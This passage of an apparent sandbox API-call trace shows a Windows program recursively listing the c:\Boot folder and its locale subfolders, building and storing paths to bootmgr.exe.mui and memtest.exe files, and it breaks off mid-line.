(lpString="wgl4_boot.ttf") returned 13 [0123.791] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0123.791] lstrlenW (lpString="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0123.791] lstrcpyW (in: lpString1=0x6d2c68, lpString2="c:\\Boot\\Fonts\\wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0123.791] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.791] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.791] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.791] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0123.791] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0123.791] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.792] lstrlenW (lpString="fr-FR") returned 5 [0123.792] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fr-FR" | out: lpString1="c:\\Boot\\fr-FR") returned="c:\\Boot\\fr-FR" [0123.792] lstrcatW (in: lpString1="c:\\Boot\\fr-FR", lpString2="\\" | out: lpString1="c:\\Boot\\fr-FR\\") returned="c:\\Boot\\fr-FR\\" [0123.792] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0123.792] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="c:\\Boot\\fr-FR\\*") returned="c:\\Boot\\fr-FR\\*" [0123.792] FindFirstFileW (in: lpFileName="c:\\Boot\\fr-FR\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.792] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.792] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.792] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.792] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.792] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.792] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.792] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.792] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0123.792] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.792] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0123.792] lstrlenW (lpString="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0123.792] lstrcpyW (in: lpString1=0x6d2ca8, lpString2="c:\\Boot\\fr-FR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0123.792] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.792] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.792] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.792] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0123.792] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0123.792] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.792] lstrlenW (lpString="hu-HU") returned 5 [0123.792] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="hu-HU" | out: lpString1="c:\\Boot\\hu-HU") returned="c:\\Boot\\hu-HU" [0123.792] lstrcatW (in: lpString1="c:\\Boot\\hu-HU", lpString2="\\" | out: lpString1="c:\\Boot\\hu-HU\\") returned="c:\\Boot\\hu-HU\\" [0123.792] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0123.792] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="c:\\Boot\\hu-HU\\*") returned="c:\\Boot\\hu-HU\\*" [0123.792] FindFirstFileW (in: lpFileName="c:\\Boot\\hu-HU\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.792] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.792] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.792] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.793] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.793] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.793] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.793] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.793] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0123.793] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.793] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0123.793] lstrlenW (lpString="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0123.793] lstrcpyW (in: lpString1=0x6d2cf0, lpString2="c:\\Boot\\hu-HU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0123.793] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.793] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.793] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.793] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0123.793] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0123.793] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.793] lstrlenW (lpString="it-IT") returned 5 [0123.793] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="it-IT" | out: lpString1="c:\\Boot\\it-IT") returned="c:\\Boot\\it-IT" [0123.793] lstrcatW (in: lpString1="c:\\Boot\\it-IT", lpString2="\\" | out: lpString1="c:\\Boot\\it-IT\\") returned="c:\\Boot\\it-IT\\" [0123.793] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0123.793] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="c:\\Boot\\it-IT\\*") returned="c:\\Boot\\it-IT\\*" [0123.793] FindFirstFileW (in: lpFileName="c:\\Boot\\it-IT\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.793] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.793] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.793] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.793] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.793] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.793] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.793] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.793] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0123.793] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.793] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0123.793] lstrlenW (lpString="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0123.793] lstrcpyW (in: lpString1=0x6d2d38, lpString2="c:\\Boot\\it-IT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0123.793] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.793] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.793] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.793] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0123.793] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0123.793] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.793] lstrlenW (lpString="ja-JP") returned 5 [0123.794] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ja-JP" | out: lpString1="c:\\Boot\\ja-JP") returned="c:\\Boot\\ja-JP" [0123.794] lstrcatW (in: lpString1="c:\\Boot\\ja-JP", lpString2="\\" | out: lpString1="c:\\Boot\\ja-JP\\") returned="c:\\Boot\\ja-JP\\" [0123.794] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0123.794] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="c:\\Boot\\ja-JP\\*") returned="c:\\Boot\\ja-JP\\*" [0123.794] FindFirstFileW (in: lpFileName="c:\\Boot\\ja-JP\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.794] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.794] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.794] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.794] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.794] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.794] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.794] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.794] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0123.794] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.794] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0123.794] lstrlenW (lpString="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0123.794] lstrcpyW (in: lpString1=0x6d2d80, lpString2="c:\\Boot\\ja-JP\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0123.794] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.794] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.794] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.794] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0123.794] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0123.794] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.794] lstrlenW (lpString="ko-KR") returned 5 [0123.794] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ko-KR" | out: lpString1="c:\\Boot\\ko-KR") returned="c:\\Boot\\ko-KR" [0123.794] lstrcatW (in: lpString1="c:\\Boot\\ko-KR", lpString2="\\" | out: lpString1="c:\\Boot\\ko-KR\\") returned="c:\\Boot\\ko-KR\\" [0123.794] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0123.795] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="c:\\Boot\\ko-KR\\*") returned="c:\\Boot\\ko-KR\\*" [0123.795] FindFirstFileW (in: lpFileName="c:\\Boot\\ko-KR\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.795] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.795] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.795] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.795] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.795] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.795] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.795] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.795] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0123.795] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.795] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0123.795] lstrlenW (lpString="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0123.795] lstrcpyW (in: lpString1=0x6d2dc8, lpString2="c:\\Boot\\ko-KR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0123.795] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.795] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.795] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.795] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0123.795] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0123.795] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.795] lstrlenW (lpString="memtest.exe") returned 11 [0123.795] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0123.795] lstrlenW (lpString="c:\\Boot\\memtest.exe") returned 19 [0123.795] lstrcpyW (in: lpString1=0x6d2e10, lpString2="c:\\Boot\\memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0123.795] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.795] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0123.795] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0123.795] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.795] lstrlenW (lpString="nb-NO") returned 5 [0123.795] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nb-NO" | out: lpString1="c:\\Boot\\nb-NO") returned="c:\\Boot\\nb-NO" [0123.795] lstrcatW (in: lpString1="c:\\Boot\\nb-NO", lpString2="\\" | out: lpString1="c:\\Boot\\nb-NO\\") returned="c:\\Boot\\nb-NO\\" [0123.795] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0123.795] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="c:\\Boot\\nb-NO\\*") returned="c:\\Boot\\nb-NO\\*" [0123.795] FindFirstFileW (in: lpFileName="c:\\Boot\\nb-NO\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.795] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.795] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.796] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.796] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.796] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.796] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.796] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.796] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0123.796] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.796] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0123.796] lstrlenW (lpString="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0123.796] lstrcpyW (in: lpString1=0x6d2e40, lpString2="c:\\Boot\\nb-NO\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0123.796] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.796] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.796] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.796] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0123.796] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0123.796] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.796] lstrlenW (lpString="nl-NL") returned 5 [0123.796] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nl-NL" | out: lpString1="c:\\Boot\\nl-NL") returned="c:\\Boot\\nl-NL" [0123.796] lstrcatW (in: lpString1="c:\\Boot\\nl-NL", lpString2="\\" | out: lpString1="c:\\Boot\\nl-NL\\") returned="c:\\Boot\\nl-NL\\" [0123.796] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0123.796] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="c:\\Boot\\nl-NL\\*") returned="c:\\Boot\\nl-NL\\*" [0123.796] FindFirstFileW (in: lpFileName="c:\\Boot\\nl-NL\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.796] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.796] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.796] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.796] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.796] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.796] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.796] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.796] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0123.796] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.796] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0123.796] lstrlenW (lpString="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0123.796] lstrcpyW (in: lpString1=0x6d2e88, lpString2="c:\\Boot\\nl-NL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0123.796] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.796] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.797] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.797] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0123.797] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0123.797] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.797] lstrlenW (lpString="pl-PL") returned 5 [0123.797] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pl-PL" | out: lpString1="c:\\Boot\\pl-PL") returned="c:\\Boot\\pl-PL" [0123.797] lstrcatW (in: lpString1="c:\\Boot\\pl-PL", lpString2="\\" | out: lpString1="c:\\Boot\\pl-PL\\") returned="c:\\Boot\\pl-PL\\" [0123.797] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0123.797] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="c:\\Boot\\pl-PL\\*") returned="c:\\Boot\\pl-PL\\*" [0123.797] FindFirstFileW (in: lpFileName="c:\\Boot\\pl-PL\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.797] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.797] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.797] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.797] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.797] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.797] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.797] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.797] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0123.797] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.797] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0123.797] lstrlenW (lpString="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0123.797] lstrcpyW (in: lpString1=0x6d2ed0, lpString2="c:\\Boot\\pl-PL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0123.797] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.797] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.797] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.797] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0123.797] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0123.797] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.797] lstrlenW (lpString="pt-BR") returned 5 [0123.797] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-BR" | out: lpString1="c:\\Boot\\pt-BR") returned="c:\\Boot\\pt-BR" [0123.797] lstrcatW (in: lpString1="c:\\Boot\\pt-BR", lpString2="\\" | out: lpString1="c:\\Boot\\pt-BR\\") returned="c:\\Boot\\pt-BR\\" [0123.797] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0123.797] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-BR\\*") returned="c:\\Boot\\pt-BR\\*" [0123.797] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-BR\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.797] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.797] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.798] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.798] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.798] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.798] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.798] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.798] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0123.798] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.798] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0123.798] lstrlenW (lpString="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0123.798] lstrcpyW (in: lpString1=0x6d2f18, lpString2="c:\\Boot\\pt-BR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0123.798] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.798] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.798] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.798] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0123.798] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0123.798] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.798] lstrlenW (lpString="pt-PT") returned 5 [0123.798] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-PT" | out: lpString1="c:\\Boot\\pt-PT") returned="c:\\Boot\\pt-PT" [0123.798] lstrcatW (in: lpString1="c:\\Boot\\pt-PT", lpString2="\\" | out: lpString1="c:\\Boot\\pt-PT\\") returned="c:\\Boot\\pt-PT\\" [0123.798] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0123.798] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-PT\\*") returned="c:\\Boot\\pt-PT\\*" [0123.798] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-PT\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.798] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.798] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.798] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.798] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.798] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.798] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.798] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.798] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0123.798] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.798] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0123.798] lstrlenW (lpString="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0123.799] lstrcpyW (in: lpString1=0x6dd7c8, lpString2="c:\\Boot\\pt-PT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0123.799] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.799] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.799] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.799] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0123.799] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0123.799] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.799] lstrlenW (lpString="ru-RU") returned 5 [0123.799] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ru-RU" | out: lpString1="c:\\Boot\\ru-RU") 